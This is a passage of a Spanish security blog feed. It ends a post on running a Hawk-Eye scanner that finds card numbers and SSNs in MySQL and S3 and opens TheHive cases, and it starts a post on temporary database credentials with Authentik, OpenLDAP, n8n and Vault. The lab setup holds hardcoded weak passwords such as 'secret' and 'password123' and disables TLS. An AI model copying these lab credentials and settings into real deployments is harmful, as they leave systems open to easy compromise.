  <span class="hljs-string">•</span> <span class="hljs-attr">S3 archivo TXT:</span> <span class="hljs-number">3</span> <span class="hljs-string">contactos</span> <span class="hljs-string">con</span> <span class="hljs-string">datos</span> <span class="hljs-string">sensibles</span>

<span class="hljs-string">💡</span> <span class="hljs-attr">Ahora ejecuta el scanner con:</span> <span class="hljs-string">docker</span> <span class="hljs-string">exec</span> <span class="hljs-string">-it</span> <span class="hljs-string">hawk-scanner</span> <span class="hljs-string">python</span> <span class="hljs-string">run_hawk_scanner.py</span>
</code></pre>
<p>Vamos a revisar la data en MySQL</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762006294139/23f81664-e57b-4e18-a0db-37456679d5d4.png" alt class="image--center mx-auto" /></p>
<p>Perfecto, ahora listamos el S3 Bucket donde vemos las dos carpetas, con información, que habíamos generado.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762007692816/0b2e4dcc-9168-4ec1-b104-c0e2580b7b3e.png" alt class="image--center mx-auto" /></p>
<p>Vamos a revisar nuestro <code>run_hawk_scanner.py</code>. Script orquestador que automatiza el proceso completo de escaneo de seguridad, consolidación de resultados y generación de reportes. Ahora vamos a correr nuestra Aguila. En mi caso desde el docker.</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-comment"># -*- coding: utf-8 -*-</span>
<span class="hljs-keyword">import</span> subprocess
<span class="hljs-keyword">import</span> json
<span class="hljs-keyword">import</span> os
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">from</span> datetime <span class="hljs-keyword">import</span> datetime
<span class="hljs-keyword">from</span> collections <span class="hljs-keyword">import</span> Counter
<span class="hljs-keyword">from</span> severity_classifier <span class="hljs-keyword">import</span> reclassify_findings, get_critical_findings
<span class="hljs-keyword">from</span> alert_manager <span class="hljs-keyword">import</span> AlertManager
<span class="hljs-keyword">from</span> thehive_integration <span class="hljs-keyword">import</span> TheHiveIntegration

<span class="hljs-comment"># Directorios</span>
ALERTS_DIR = <span class="hljs-string">"/app/alerts"</span>
RESULTS_DIR = <span class="hljs-string">"/app/alerts"</span>

os.makedirs(ALERTS_DIR, exist_ok=<span class="hljs-literal">True</span>)
timestamp = datetime.now().strftime(<span class="hljs-string">"%Y%m%d_%H%M%S"</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">run_scan</span>(<span class="hljs-params">source_type, output_file</span>):</span>
    print(<span class="hljs-string">f"🔍 Escaneando <span class="hljs-subst">{source_type}</span>..."</span>)
    cmd = [
        <span class="hljs-string">"hawk_scanner"</span>,
        source_type,
        <span class="hljs-string">"--connection"</span>, <span class="hljs-string">"connection.yml"</span>,
        <span class="hljs-string">"--fingerprint"</span>, <span class="hljs-string">"fingerprint.yml"</span>,
        <span class="hljs-string">"--json"</span>, output_file
    ]

    <span class="hljs-keyword">try</span>:
        result = subprocess.run(cmd, capture_output=<span class="hljs-literal">True</span>, text=<span class="hljs-literal">True</span>)
        <span class="hljs-keyword">if</span> result.returncode == <span class="hljs-number">0</span>:
            print(<span class="hljs-string">f"✅ <span class="hljs-subst">{source_type}</span> completado: <span class="hljs-subst">{output_file}</span>"</span>)
            <span class="hljs-keyword">return</span> <span class="hljs-literal">True</span>
        <span class="hljs-keyword">else</span>:
            print(<span class="hljs-string">f"❌ Error en <span class="hljs-subst">{source_type}</span>:"</span>)
            print(result.stderr)
            <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>
    <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
        print(<span class="hljs-string">f"❌ Excepción en <span class="hljs-subst">{source_type}</span>: <span class="hljs-subst">{e}</span>"</span>)
        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">consolidate_results</span>(<span class="hljs-params">mysql_file, s3_file, output_file</span>):</span>
    all_results = []

    <span class="hljs-keyword">if</span> os.path.exists(mysql_file):
        <span class="hljs-keyword">with</span> open(mysql_file, <span class="hljs-string">'r'</span>) <span class="hljs-keyword">as</span> f:
            mysql_data = json.load(f)
            <span class="hljs-keyword">if</span> isinstance(mysql_data, dict):
                <span class="hljs-keyword">for</span> key, findings <span class="hljs-keyword">in</span> mysql_data.items():
                    <span class="hljs-keyword">if</span> isinstance(findings, list):
                        all_results.extend(findings)
            <span class="hljs-keyword">elif</span> isinstance(mysql_data, list):
                all_results.extend(mysql_data)

    <span class="hljs-keyword">if</span> os.path.exists(s3_file):
        <span class="hljs-keyword">with</span> open(s3_file, <span class="hljs-string">'r'</span>) <span class="hljs-keyword">as</span> f:
            s3_data = json.load(f)
            <span class="hljs-keyword">if</span> isinstance(s3_data, dict):
                <span class="hljs-keyword">for</span> key, findings <span class="hljs-keyword">in</span> s3_data.items():
                    <span class="hljs-keyword">if</span> isinstance(findings, list):
                        all_results.extend(findings)
            <span class="hljs-keyword">elif</span> isinstance(s3_data, list):
                all_results.extend(s3_data)

    all_results = reclassify_findings(all_results)

    <span class="hljs-keyword">with</span> open(output_file, <span class="hljs-string">'w'</span>) <span class="hljs-keyword">as</span> f:
        json.dump(all_results, f, indent=<span class="hljs-number">2</span>)

    print(<span class="hljs-string">f"📊 Resultados consolidados: <span class="hljs-subst">{len(all_results)}</span> hallazgos"</span>)
    <span class="hljs-keyword">return</span> all_results

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">display_findings</span>(<span class="hljs-params">results</span>):</span>
    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> results:
        print(<span class="hljs-string">"\n✅ No se detectaron hallazgos de seguridad"</span>)
        <span class="hljs-keyword">return</span>

    print(<span class="hljs-string">f"\n<span class="hljs-subst">{<span class="hljs-string">'='</span>*<span class="hljs-number">70</span>}</span>"</span>)
    print(<span class="hljs-string">f"🔍 HALLAZGOS DETECTADOS"</span>)
    print(<span class="hljs-string">f"<span class="hljs-subst">{<span class="hljs-string">'='</span>*<span class="hljs-number">70</span>}</span>"</span>)

    by_severity = {}
    <span class="hljs-keyword">for</span> r <span class="hljs-keyword">in</span> results:
        severity = r.get(<span class="hljs-string">'severity'</span>, <span class="hljs-string">'Unknown'</span>)
        <span class="hljs-keyword">if</span> severity <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> by_severity:
            by_severity[severity] = []
        by_severity[severity].append(r)

    severity_order = [<span class="hljs-string">'CRITICAL'</span>, <span class="hljs-string">'HIGH'</span>, <span class="hljs-string">'MEDIUM'</span>, <span class="hljs-string">'LOW'</span>, <span class="hljs-string">'Unknown'</span>]
    severity_icons = {
        <span class="hljs-string">'CRITICAL'</span>: <span class="hljs-string">'🔴'</span>,
        <span class="hljs-string">'HIGH'</span>: <span class="hljs-string">'🟠'</span>, 
        <span class="hljs-string">'MEDIUM'</span>: <span class="hljs-string">'🟡'</span>,
        <span class="hljs-string">'LOW'</span>: <span class="hljs-string">'🟢'</span>,
        <span class="hljs-string">'Unknown'</span>: <span class="hljs-string">'⚪'</span>
    }

    <span class="hljs-keyword">for</span> severity <span class="hljs-keyword">in</span> severity_order:
        <span class="hljs-keyword">if</span> severity <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> by_severity:
            <span class="hljs-keyword">continue</span>

        findings = by_severity[severity]
        icon = severity_icons.get(severity, <span class="hljs-string">'⚪'</span>)

        print(<span class="hljs-string">f"\n<span class="hljs-subst">{icon}</span> <span class="hljs-subst">{severity}</span> - <span class="hljs-subst">{len(findings)}</span> hallazgos"</span>)
        print(<span class="hljs-string">"-"</span> * <span class="hljs-number">70</span>)

        max_display = len(findings) <span class="hljs-keyword">if</span> severity == <span class="hljs-string">'CRITICAL'</span> <span class="hljs-keyword">else</span> min(<span class="hljs-number">5</span>, len(findings))

        <span class="hljs-keyword">for</span> i, finding <span class="hljs-keyword">in</span> enumerate(findings[:max_display], <span class="hljs-number">1</span>):
            print(<span class="hljs-string">f"\n  [<span class="hljs-subst">{i}</span>] <span class="hljs-subst">{finding.get(<span class="hljs-string">'pattern_name'</span>, <span class="hljs-string">'Unknown Pattern'</span>)}</span>"</span>)
            print(<span class="hljs-string">f"      Fuente: <span class="hljs-subst">{finding.get(<span class="hljs-string">'data_source'</span>, <span class="hljs-string">'unknown'</span>)}</span>"</span>)

            <span class="hljs-keyword">if</span> finding.get(<span class="hljs-string">'data_source'</span>) == <span class="hljs-string">'mysql'</span>:
                print(<span class="hljs-string">f"      Base de datos: <span class="hljs-subst">{finding.get(<span class="hljs-string">'database'</span>, <span class="hljs-string">'N/A'</span>)}</span>"</span>)
                print(<span class="hljs-string">f"      Tabla: <span class="hljs-subst">{finding.get(<span class="hljs-string">'table'</span>, <span class="hljs-string">'N/A'</span>)}</span>"</span>)
                print(<span class="hljs-string">f"      Columna: <span class="hljs-subst">{finding.get(<span class="hljs-string">'column'</span>, <span class="hljs-string">'N/A'</span>)}</span>"</span>)
            <span class="hljs-keyword">elif</span> finding.get(<span class="hljs-string">'data_source'</span>) == <span class="hljs-string">'s3'</span>:
                print(<span class="hljs-string">f"      Bucket: <span class="hljs-subst">{finding.get(<span class="hljs-string">'bucket'</span>, <span class="hljs-string">'N/A'</span>)}</span>"</span>)
                print(<span class="hljs-string">f"      Archivo: <span class="hljs-subst">{finding.get(<span class="hljs-string">'file_path'</span>, <span class="hljs-string">'N/A'</span>)}</span>"</span>)

            matches = finding.get(<span class="hljs-string">'matches'</span>, [])
            <span class="hljs-keyword">if</span> matches:
                match_preview = matches[:<span class="hljs-number">3</span>]
                print(<span class="hljs-string">f"      Matches: <span class="hljs-subst">{<span class="hljs-string">', '</span>.join(match_preview)}</span>"</span>)
                <span class="hljs-keyword">if</span> len(matches) &gt; <span class="hljs-number">3</span>:
                    print(<span class="hljs-string">f"      ... y <span class="hljs-subst">{len(matches) - <span class="hljs-number">3</span>}</span> más"</span>)

        <span class="hljs-keyword">if</span> len(findings) &gt; max_display:
            print(<span class="hljs-string">f"\n  ... y <span class="hljs-subst">{len(findings) - max_display}</span> hallazgos más de severidad <span class="hljs-subst">{severity}</span>"</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">generate_summary</span>(<span class="hljs-params">results, output_file</span>):</span>
    valid_results = [r <span class="hljs-keyword">for</span> r <span class="hljs-keyword">in</span> results <span class="hljs-keyword">if</span> isinstance(r, dict) <span class="hljs-keyword">and</span> <span class="hljs-string">'pattern_name'</span> <span class="hljs-keyword">in</span> r]

    summary = {
        <span class="hljs-string">"scan_date"</span>: datetime.now().isoformat(),
        <span class="hljs-string">"total_findings"</span>: len(valid_results),
        <span class="hljs-string">"by_severity"</span>: dict(Counter([r.get(<span class="hljs-string">'severity'</span>, <span class="hljs-string">'unknown'</span>) <span class="hljs-keyword">for</span> r <span class="hljs-keyword">in</span> valid_results])),
        <span class="hljs-string">"by_pattern"</span>: dict(Counter([r.get(<span class="hljs-string">'pattern_name'</span>, <span class="hljs-string">'unknown'</span>) <span class="hljs-keyword">for</span> r <span class="hljs-keyword">in</span> valid_results])),
        <span class="hljs-string">"by_source"</span>: dict(Counter([r.get(<span class="hljs-string">'data_source'</span>, <span class="hljs-string">'unknown'</span>) <span class="hljs-keyword">for</span> r <span class="hljs-keyword">in</span> valid_results])),
        <span class="hljs-string">"findings"</span>: valid_results
    }

    <span class="hljs-keyword">with</span> open(output_file, <span class="hljs-string">'w'</span>) <span class="hljs-keyword">as</span> f:
        json.dump(summary, f, indent=<span class="hljs-number">2</span>, default=str)

    print(<span class="hljs-string">f"\n<span class="hljs-subst">{<span class="hljs-string">'='</span>*<span class="hljs-number">70</span>}</span>"</span>)
    print(<span class="hljs-string">f"📈 RESUMEN ESTADÍSTICO"</span>)
    print(<span class="hljs-string">f"<span class="hljs-subst">{<span class="hljs-string">'='</span>*<span class="hljs-number">70</span>}</span>"</span>)
    print(<span class="hljs-string">f"   📊 Total de hallazgos: <span class="hljs-subst">{summary[<span class="hljs-string">'total_findings'</span>]}</span>"</span>)

    print(<span class="hljs-string">f"\n   🚨 Por severidad:"</span>)
    severity_display_order = [<span class="hljs-string">'CRITICAL'</span>, <span class="hljs-string">'HIGH'</span>, <span class="hljs-string">'MEDIUM'</span>, <span class="hljs-string">'LOW'</span>]
    <span class="hljs-keyword">for</span> severity <span class="hljs-keyword">in</span> severity_display_order:
        count = summary[<span class="hljs-string">'by_severity'</span>].get(severity, <span class="hljs-number">0</span>)
        <span class="hljs-keyword">if</span> count &gt; <span class="hljs-number">0</span>:
            print(<span class="hljs-string">f"      <span class="hljs-subst">{severity}</span>: <span class="hljs-subst">{count}</span>"</span>)

    print(<span class="hljs-string">f"\n   📁 Por fuente:"</span>)
    <span class="hljs-keyword">for</span> source, count <span class="hljs-keyword">in</span> summary[<span class="hljs-string">'by_source'</span>].items():
        print(<span class="hljs-string">f"      <span class="hljs-subst">{source}</span>: <span class="hljs-subst">{count}</span>"</span>)

    print(<span class="hljs-string">f"\n   🔍 Top 5 patrones más detectados:"</span>)
    top_patterns = sorted(summary[<span class="hljs-string">'by_pattern'</span>].items(), 
                         key=<span class="hljs-keyword">lambda</span> x: x[<span class="hljs-number">1</span>], reverse=<span class="hljs-literal">True</span>)[:<span class="hljs-number">5</span>]
    <span class="hljs-keyword">for</span> pattern, count <span class="hljs-keyword">in</span> top_patterns:
        print(<span class="hljs-string">f"      <span class="hljs-subst">{pattern}</span>: <span class="hljs-subst">{count}</span>"</span>)

    critical = get_critical_findings(valid_results)
    <span class="hljs-keyword">if</span> critical:
        print(<span class="hljs-string">f"\n   ⚠️  ATENCIÓN: <span class="hljs-subst">{len(critical)}</span> hallazgos CRÍTICOS detectados"</span>)
        print(<span class="hljs-string">f"      Requieren acción inmediata"</span>)

    <span class="hljs-keyword">return</span> summary

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    print(<span class="hljs-string">"="</span> * <span class="hljs-number">70</span>)
    print(<span class="hljs-string">"🦅 HAWK-EYE SCANNER - Automated Security Scan"</span>)
    print(<span class="hljs-string">"="</span> * <span class="hljs-number">70</span>)

    mysql_output = <span class="hljs-string">f"<span class="hljs-subst">{RESULTS_DIR}</span>/mysql_<span class="hljs-subst">{timestamp}</span>.json"</span>
    s3_output = <span class="hljs-string">f"<span class="hljs-subst">{RESULTS_DIR}</span>/s3_<span class="hljs-subst">{timestamp}</span>.json"</span>
    consolidated_output = <span class="hljs-string">f"<span class="hljs-subst">{RESULTS_DIR}</span>/consolidated_<span class="hljs-subst">{timestamp}</span>.json"</span>
    summary_output = <span class="hljs-string">f"<span class="hljs-subst">{RESULTS_DIR}</span>/summary_<span class="hljs-subst">{timestamp}</span>.json"</span>
    latest_output = <span class="hljs-string">f"<span class="hljs-subst">{RESULTS_DIR}</span>/latest.json"</span>

    mysql_success = run_scan(<span class="hljs-string">"mysql"</span>, mysql_output)
    s3_success = run_scan(<span class="hljs-string">"s3"</span>, s3_output)

    <span class="hljs-keyword">if</span> mysql_success <span class="hljs-keyword">or</span> s3_success:
        results = consolidate_results(mysql_output, s3_output, consolidated_output)

        <span class="hljs-comment"># SISTEMA DE TRACKING</span>
        print(<span class="hljs-string">f"\n<span class="hljs-subst">{<span class="hljs-string">'='</span>*<span class="hljs-number">70</span>}</span>"</span>)
        print(<span class="hljs-string">"🔄 Procesando con sistema de tracking..."</span>)
        print(<span class="hljs-string">f"<span class="hljs-subst">{<span class="hljs-string">'='</span>*<span class="hljs-number">70</span>}</span>"</span>)

        alert_mgr = AlertManager()

        new_alerts = []
        duplicate_count = <span class="hljs-number">0</span>

        <span class="hljs-keyword">for</span> finding <span class="hljs-keyword">in</span> results:
            processed = alert_mgr.process_finding(finding)
            <span class="hljs-keyword">if</span> processed[<span class="hljs-string">'is_new'</span>]:
                new_alerts.append(processed)
            <span class="hljs-keyword">else</span>:
                duplicate_count += <span class="hljs-number">1</span>

        print(<span class="hljs-string">f"\n📊 Resultados del tracking:"</span>)
        print(<span class="hljs-string">f"   • Total de hallazgos: <span class="hljs-subst">{len(results)}</span>"</span>)
        print(<span class="hljs-string">f"   • Alertas NUEVAS: <span class="hljs-subst">{len(new_alerts)}</span>"</span>)
        print(<span class="hljs-string">f"   • Ya vistos: <span class="hljs-subst">{duplicate_count}</span>"</span>)

        stats = alert_mgr.get_stats()
        <span class="hljs-keyword">if</span> stats[<span class="hljs-string">'critical_pending'</span>] &gt; <span class="hljs-number">0</span>:
            print(<span class="hljs-string">f"\n   ⚠️  <span class="hljs-subst">{stats[<span class="hljs-string">'critical_pending'</span>]}</span> alertas CRÍTICAS pendientes"</span>)

        <span class="hljs-comment"># INTEGRACIÓN CON THEHIVE</span>
        thehive = TheHiveIntegration()

        <span class="hljs-keyword">if</span> thehive.test_connection():
            print(<span class="hljs-string">f"\n<span class="hljs-subst">{<span class="hljs-string">'='</span>*<span class="hljs-number">70</span>}</span>"</span>)
            print(<span class="hljs-string">"🎯 Enviando alertas críticas a TheHive..."</span>)
            print(<span class="hljs-string">f"<span class="hljs-subst">{<span class="hljs-string">'='</span>*<span class="hljs-number">70</span>}</span>"</span>)

            cases_created = <span class="hljs-number">0</span>
            <span class="hljs-keyword">for</span> alert <span class="hljs-keyword">in</span> new_alerts:
                finding = alert[<span class="hljs-string">'finding'</span>]
                <span class="hljs-keyword">if</span> finding.get(<span class="hljs-string">'severity'</span>) <span class="hljs-keyword">in</span> [<span class="hljs-string">'CRITICAL'</span>, <span class="hljs-string">'HIGH'</span>]:
                    case_id = thehive.create_case(finding, alert[<span class="hljs-string">'alert_hash'</span>])
                    <span class="hljs-keyword">if</span> case_id:
                        cases_created += <span class="hljs-number">1</span>

            print(<span class="hljs-string">f"\n📋 Casos creados en TheHive: <span class="hljs-subst">{cases_created}</span>"</span>)
            print(<span class="hljs-string">f"🌐 Accede al dashboard: http://localhost:9000"</span>)
        <span class="hljs-keyword">else</span>:
            print(<span class="hljs-string">"\n⚠️  TheHive no está disponible (casos no enviados)"</span>)

        display_findings(results)
        generate_summary(results, summary_output)

        <span class="hljs-keyword">with</span> open(latest_output, <span class="hljs-string">'w'</span>) <span class="hljs-keyword">as</span> f:
            json.dump(results, f, indent=<span class="hljs-number">2</span>)

        print(<span class="hljs-string">f"\n<span class="hljs-subst">{<span class="hljs-string">'='</span>*<span class="hljs-number">70</span>}</span>"</span>)
        print(<span class="hljs-string">f"✅ Escaneo completado exitosamente"</span>)
        print(<span class="hljs-string">f"📁 Resultados guardados en: <span class="hljs-subst">{ALERTS_DIR}</span>/"</span>)
        print(<span class="hljs-string">f"<span class="hljs-subst">{<span class="hljs-string">'='</span>*<span class="hljs-number">70</span>}</span>\n"</span>)
    <span class="hljs-keyword">else</span>:
        print(<span class="hljs-string">"\n❌ Escaneo falló"</span>)
        exit(<span class="hljs-number">1</span>)
</code></pre>
<pre><code class="lang-yaml"><span class="hljs-string">docker</span> <span class="hljs-string">exec</span> <span class="hljs-string">-it</span> <span class="hljs-string">hawk-scanner</span> <span class="hljs-string">python</span> <span class="hljs-string">run_hawk_scanner.py</span>
</code></pre>
<p>¡Voilà, aquí están los registros marcados por severidad!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762034942067/2e88665a-ae1c-424c-b49b-a4a1c8cf3214.png" alt class="image--center mx-auto" /></p>
<p>Ahora sabemos dónde están las joyas de la corona, para poder actuar en consecuencia. Vamos un poco mas adelante e integremos The Hive para poder hacer el seguimiento.</p>
<h3 id="heading-the-hive">The Hive</h3>
<p>Es la plataforma donde llevaremos adelante el seguimiento de los hallazgos. La misma esta en http://localhost:9000.</p>
<ul>
<li><p>Usuario: <code>admin@thehive.local</code></p>
</li>
<li><p>Password: <code>secret</code></p>
</li>
</ul>
<p>Es importante que obtengamos una API KEY para poder integrarla.</p>
<ol>
<li><p><strong>Crear organización (si no existe):</strong></p>
<ul>
<li><p>Haz clic en <strong>"Admin"</strong> (arriba a la derecha)</p>
</li>
<li><p><strong>"Organizations"</strong> → <strong>"+ New Organization"</strong></p>
</li>
<li><p>Nombre: <code>hawk-security</code></p>
</li>
<li><p>Haz clic en <strong>"Create"</strong></p>
</li>
</ul>
</li>
<li><p><strong>Crear usuario con permisos:</strong></p>
<ul>
<li><p><strong>"Users"</strong> → <strong>"+ New User"</strong></p>
</li>
<li><p>Nombre: <code>hawk-scanner</code></p>
</li>
<li><p>Login: <code>hawk-scanner@hawk-security</code></p>
</li>
<li><p>Perfil: <code>org-admin</code> (¡importante!)</p>
</li>
<li><p>Organización: <code>hawk-security</code></p>
</li>
<li><p>Contraseña: <code>HawkScanner2024!</code></p>
</li>
<li><p>Haz clic en <strong>"Create"</strong></p>
</li>
</ul>
</li>
<li><p><strong>Crear API Key:</strong></p>
<ul>
<li><p>Haz clic en el usuario <code>hawk-scanner</code> que acabas de crear</p>
</li>
<li><p>Pestaña <strong>"API Keys"</strong></p>
</li>
<li><p>Haz clic en <strong>"+ Create API Key"</strong></p>
</li>
<li><p>Nombre: <code>hawk-scanner-api</code></p>
</li>
<li><p>Haz clic en <strong>"Create"</strong></p>
</li>
<li><p><strong>⚠️ COPIA LA KEY</strong></p>
</li>
</ul>
</li>
</ol>
<p>Estos son datos dummies, yo lo cree asi.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762176933793/f17dc643-3531-40d9-a63f-61dbf1c7f3b7.png" alt class="image--center mx-auto" /></p>
<p>La sumamos la <strong>API Key</strong> a <code>thehive_integration.py</code>, antes de ejecutar. Una vez que el Hawk Eye se ejecute, veremos en The Hive:</p>
<p><strong>5 casos creados:</strong></p>
<ul>
<li><p>🔴 <strong>4 CRITICAL</strong>: Credit Cards (Visa, Mastercard, Amex, Discover)</p>
</li>
<li><p>🟠 <strong>1 HIGH</strong>: Social Security Number (SSN)</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762177398463/59643af9-dd5f-4161-99d4-79ed1248738b.png" alt class="image--center mx-auto" /></p>
<p>Listo, tenemos todo para darle seguimiento. Te dejo el <a target="_blank" href="https://github.com/safernandez666/hawk-eye-scanner">repositorio</a> para que puedas hacerlo en tu laboratorio.</p>
<h3 id="heading-referencias">Referencias</h3>
<p><a target="_blank" href="https://github.com/rohitcoder/hawk-eye">https://github.com/rohitcoder/hawk-eye</a></p>
]]></content:encoded></item><item><title><![CDATA[Optimiza la seguridad: Gestión de accesos temporales con n8n y Vault]]></title><description><![CDATA[Hice algo que compartí con la comunidad y me pidieron "plasmarlo en papel". Lo que quiero crear es un proceso de acceso a la base de datos de manera que tanto el usuario como el administrador se sientan satisfechos y libres de procesos complicados. V...]]></description><link>https://blog.santiagoagustinfernandez.com/optimiza-la-seguridad-gestion-de-accesos-temporales-con-n8n-y-vault</link><guid isPermaLink="true">https://blog.santiagoagustinfernandez.com/optimiza-la-seguridad-gestion-de-accesos-temporales-con-n8n-y-vault</guid><category><![CDATA[Vault]]></category><category><![CDATA[n8n]]></category><category><![CDATA[authentication]]></category><dc:creator><![CDATA[Santiago Fernandez]]></dc:creator><pubDate>Tue, 28 Oct 2025 20:14:17 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1761685706074/b20d1f2c-77a1-40cc-9b5e-d7fbe7e7d0b9.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hice algo que compartí con la comunidad y me pidieron "plasmarlo en papel". Lo que quiero crear es un proceso de acceso a la base de datos de manera que tanto el usuario como el administrador se sientan satisfechos y libres de procesos complicados. Voy a hacer una breve explicación del procedimiento. Cuando un usuario inicia sesión en <strong>Authentik</strong>, que actúa como portal y está conectado a <strong>OpenLDAP</strong>, puede solicitar acceso temporal a una base de datos.<br />Esa solicitud se envía automáticamente a los miembros del grupo <strong>OU=SecOps</strong> para su aprobación.<br />Una vez aprobada, <strong>n8n</strong> recibe el evento y solicita a <strong>HashiCorp Vault</strong> la generación de <strong>credenciales dinámicas</strong> con un <strong>tiempo de vida limitado (TTL)</strong>.<br />Vault crea de forma segura el usuario en la base de datos y devuelve las credenciales a <strong>n8n</strong>, que las entrega al solicitante.<br />Finalmente, todo el proceso queda registrado en un sistema de <strong>auditoría</strong>, asegurando la <strong>trazabilidad completa</strong> y la <strong>revocación automática</strong> de los accesos una vez expirado el TTL.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761681827025/28b05ae1-39f4-4d2d-ab10-a692efc01de3.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-ldap">LDAP</h3>
<p>A continuación, echemos un vistazo a la estructura LDAP que queremos construir. El árbol muestra la estructura jerárquica del directorio, comenzando por el DN base dc=ironbox,dc=local. Debajo de esta base hay tres departamentos (ou=IT, ou=DevOps y ou=SecOps) y varios usuarios. Esto se definirá en el siguiente paso utilizando un archivo LDIF.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761328597172/02ba476b-b03b-4774-904e-51872c534b37.png" alt class="image--center mx-auto" /></p>
<p>Aca el <code>.ldif</code></p>
<pre><code class="lang-xml"># admin user
dn: cn=admin,dc=ironbox,dc=local
changetype: add
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
userPassword: adminpassword
description: LDAP Administrator

# organisational unit for IT department
dn: ou=IT,dc=ironbox,dc=local
changetype: add
objectClass: organizationalUnit
ou: IT

# user: Juan Perez for unit IT department
dn: uid=juanperez,ou=IT,dc=ironbox,dc=local
changetype: add
objectClass: inetOrgPerson
cn: Juan Perez
sn: Perez
uid: juanperez
mail: juanperez@ironbox.local
userPassword: password123

# user: Ana Rey for unit IT department
dn: uid=anna.meier,ou=IT,dc=ironbox,dc=local
changetype: add
objectClass: inetOrgPerson
cn: Ana Rey
sn: Rey
uid: ana.rey
mail: ana.rey@ironbox.local
userPassword: password456

# organisational unit for DevOps department
dn: ou=DevOps,dc=ironbox,dc=local
changetype: add
objectClass: organizationalUnit
ou: DevOps

# user: Pedro Sanchez for the  der marketing department
dn: uid=pedro.sanchez,ou=DevOps,dc=ironbox,dc=local
changetype: add
objectClass: inetOrgPerson
cn: Pedro Sanchez
sn: Sanchez
uid: pedro.sanchez
mail: pedro.sanchez@ironbox.local
userPassword: password789

# organisational unit for Information Security department
dn: ou=SecOps,dc=ironbox,dc=local
changetype: add
objectClass: organizationalUnit
ou: DevOps

# user: Santiago Fernandez for the  der marketing department
dn: uid=santiago.fernandez,ou=SecOps,dc=ironbox,dc=local
changetype: add
objectClass: inetOrgPerson
cn: Santiago Fernandez
sn: Ssantiago
uid: santiago.fernandez
mail: santiago.fernandez@ironbox.local
userPassword: Marte2000
</code></pre>
<h3 id="heading-authentik">Authentik</h3>
<p><strong>Authentik</strong> es una herramienta <strong>open source</strong> que sirve para <strong>gestionar usuarios, accesos y autenticaciones</strong> dentro de una organización. Podés pensarla como el “centro de control” donde definís <strong>quién puede entrar</strong>, <strong>a qué sistemas</strong>, y <strong>por cuánto tiempo</strong>.</p>
<p>Permite unificar el acceso a distintas aplicaciones (internas o externas) usando <strong>SSO (inicio de sesión único)</strong>, autenticación multifactor (MFA) y reglas de seguridad personalizables.</p>
<p>A diferencia de otros sistemas cerrados como Okta o Azure AD, Authentik se puede <strong>instalar en tus propios servidores</strong>, lo que da más control y privacidad sobre los datos de tus usuarios.</p>
<p>Una vez que levantamos el compose vamos a obtener credeciales. Para luego ingresar a http://localhost:9000</p>
<pre><code class="lang-xml">docker exec -it authentik-server ak changepassword akadmin
</code></pre>
<p>Vamos a ingresar y crear la conexión con LDAP.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761327732718/19046184-8a0d-4506-be91-74dba6b4dcac.png" alt class="image--center mx-auto" /></p>
<p>Los datos importantes son:</p>
<ul>
<li><p>URI del servidor: ldap://openldap:389</p>
</li>
<li><p>CN de enlace: cn=admin,dc=ironbox,dc=local</p>
</li>
<li><p>Contraseña de enlace: admin</p>
</li>
<li><p>DN base: dc=ironbox,dc=local</p>
</li>
<li><p>Habilitar StartTLS: NO</p>
</li>
<li><p>Usar URI del servidor para verificación SNI: NO</p>
</li>
<li><p>Certificado de verificación TLS: (vacío)</p>
</li>
<li><p>Certificado de autenticación del cliente TLS: (vacío)</p>
</li>
<li><p>DN de usuario adicional: (VACÍO - muy importante)</p>
</li>
<li><p>DN de grupo de adición: (VACÍO - muy importante)</p>
</li>
<li><p>Filtro de objetos de usuario: (objectClass=inetOrgPerson)</p>
</li>
<li><p>Filtro de objetos de grupo: (objectClass=groupOfNames)</p>
</li>
<li><p>Campo pertenencia a grupos: member</p>
</li>
<li><p>Campo de unicidad de objetos: Uusar: entryUUID</p>
</li>
<li><p>Agregar estos Mappings:</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761328215681/028dd3fb-57d7-4ede-a43f-ad2e87c4cdd3.png" alt class="image--center mx-auto" /></p>
<p>Dejamos correr la sincronización.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761328382077/5abae118-7b7b-469d-a0fe-6eda43388ac8.png" alt class="image--center mx-auto" /></p>
<p>¡Voilà! Ya vemos los usuarios de nuestro iDP LDAP.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761328664640/aa430708-feca-4027-8596-6cdf5d21bac7.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-aplicacion">Aplicación</h3>
<p>Generación de Proxy en Proveedores.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761680608795/99682c43-e1be-4786-b0c0-3c56d70b17b4.png" alt class="image--center mx-auto" /></p>
<p>Vamos a crear la aplicación para que ejecute el el Workflow de Credenciales.</p>
